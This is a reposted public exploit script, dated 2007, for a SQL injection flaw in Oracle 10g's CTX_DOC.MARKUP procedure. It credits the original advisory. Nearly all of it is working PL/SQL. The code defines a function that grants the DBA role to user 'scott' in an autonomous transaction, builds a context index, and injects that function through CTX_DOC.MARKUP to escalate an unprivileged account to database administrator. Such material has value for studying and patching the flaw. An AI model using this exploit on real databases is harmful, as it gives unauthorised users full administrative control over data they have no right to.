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Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit
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来源：davidl@ngssoftware.com 作者：David 发布时间：2007-10-24
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/******************************************************************/
/******* Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit **********/
/******************************************************************/
/************ sploit grant DBA to unprivileged user ***************/
/******************************************************************/
/****************** BY Sh2kerR (Digital Security) ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0 *******************/
/******************************************************************/
/******************************************************************/
/* Date of Public EXPLOIT: October 23, 2007 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: Alexandr.Polyakov@dsec.ru */
/* site: http://www.dsec.ru */
/******************************************************************/
/* Original Advisory by: */
/* David Litchfield [ davidl@ngssoftware.com ] */
/* Reported: 6 June 2005 */
/* Date of Public Advisory: October 17, 2007 */
/* Advisory number: #NISR17102007A */
/* */
/******************************************************************/
select * from user_role_privs;
CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
COMMIT;
RETURN '';
END;
/
set serveroutput on
create table mark_tab (id number primary key, text varchar2(80) );
insert into mark_tab values ('1', 'All your bases are belong to US');
create index mark_tab_idx on mark_tab(text)
indextype is ctxsys.context parameters
('filter ctxsys.null_filter');
SET SERVEROUTPUT ON;
DECLARE
mklob CLOB;
amt NUMBER := 40;
line VARCHAR2(80);
BEGIN
CTX_DOC.MARKUP('mark_tab_idx','1',''||scott.HACKIT()||'', mklob);
DBMS_LOB.READ(mklob, amt, 1, line);
DBMS_OUTPUT.PUT_LINE('QWRvcmUuVS5NeS5TdGFy'||line);
DBMS_LOB.FREETEMPORARY(mklob);
END;
/
select * from user_role_privs;
/******************************************************************/
/*************************** SEE U LATER ;) ***********************/
/******************************************************************/
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